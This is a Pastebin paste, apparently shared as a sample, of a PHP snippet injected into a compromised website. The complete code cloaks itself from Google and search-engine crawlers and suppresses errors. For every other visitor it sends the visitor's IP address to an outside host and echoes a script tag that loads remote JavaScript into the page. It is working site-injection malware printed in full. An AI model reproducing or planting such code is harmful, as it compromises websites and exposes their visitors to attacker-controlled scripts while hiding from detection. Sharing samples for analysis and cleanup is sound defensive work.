Advertisement
Guest User

PHP code injection malicious JavaScript code

a guest
May 7th, 2014
338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.88 KB | None | 0 0
  1. <?php
  2. #a79f25#
  3. if ( empty($cri) )  
  4. {
  5.     if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {
  6.     }
  7.     else
  8.     {
  9.         error_reporting(0);
  10.         @ini_set('display_errors', 0);
  11.         if (!function_exists('__url_get_contents'))
  12.         {
  13.             function __url_get_contents($remote_url, $timeout)
  14.             {
  15.                 if (function_exists('curl_exec')) {
  16.                     $ch = curl_init();
  17.                     curl_setopt($ch, CURLOPT_URL, $remote_url);
  18.                     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  19.                     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  20.                     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
  21.                     $_url_get_contents_data = curl_exec($ch);
  22.                     curl_close($ch);
  23.                 } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
  24.                     $ctx = @stream_context_create(array('http' =>
  25.                         array(
  26.                             'timeout' => $timeout,
  27.                         )
  28.                     ));
  29.                     $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
  30.                 } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
  31.                     $handle = @fopen($remote_url, "r");
  32.                     $_url_get_contents_data = @stream_get_contents($handle);
  33.                 } else {
  34.                     $_url_get_contents_data = __file_get_url_contents($remote_url);
  35.                 }
  36.                 return $_url_get_contents_data;
  37.             }
  38.         }
  39.         if (!function_exists('__file_get_url_contents')) {
  40.             function __file_get_url_contents($remote_url)
  41.             {
  42.                 if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
  43.                     $remote_url, $matches)
  44.                 ) {
  45.                     $protocol = strtolower($matches[1]);
  46.                     $host = $matches[2];
  47.                     $path = $matches[3];
  48.                 } else {
  49.                     // Bad remote_url-format
  50.                     return FALSE;
  51.                 }
  52.                 if ($protocol == "http") {
  53.                     $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
  54.                 } else {
  55.                     // Bad protocol
  56.                     return FALSE;
  57.                 }
  58.                 if (!$socket) {
  59.                     // Error creating socket
  60.                     return FALSE;
  61.                 }
  62.                 $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
  63.                 $len_written = @fwrite($socket, $request);
  64.                 if ($len_written === FALSE || $len_written != strlen($request)) {
  65.                     // Error sending request
  66.                     return FALSE;
  67.                 }
  68.                 $response = "";
  69.                 while (!@feof($socket) &&
  70.                     ($buf = @fread($socket, 4096)) !== FALSE) {
  71.                     $response .= $buf;
  72.                 }
  73.                 if ($buf === FALSE) {
  74.                     // Error reading response
  75.                     return FALSE;
  76.                 }
  77.                 $end_of_header = strpos($response, "\r\n\r\n");
  78.                 return substr($response, $end_of_header + 4);
  79.             }
  80.         }
  81.  
  82.         if (empty($__var_to_echo) && empty($remote_domain)) {
  83.             $_ip = $_SERVER['REMOTE_ADDR'];
  84.             $cri = "http://randominc.com/_vti_bin/tky4df82.php";
  85.             $cri = __url_get_contents($cri."?a=$_ip", 1);
  86.             if (strpos($cri, 'http://') === 0) {
  87.                 $__var_to_echo = '<script type="text/javascript" src="' . $cri . '?id=110173761"></script>';
  88.                 echo $__var_to_echo;
  89.             }
  90.         }
  91.     }
  92. }
  93. #/a79f25#
  94. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement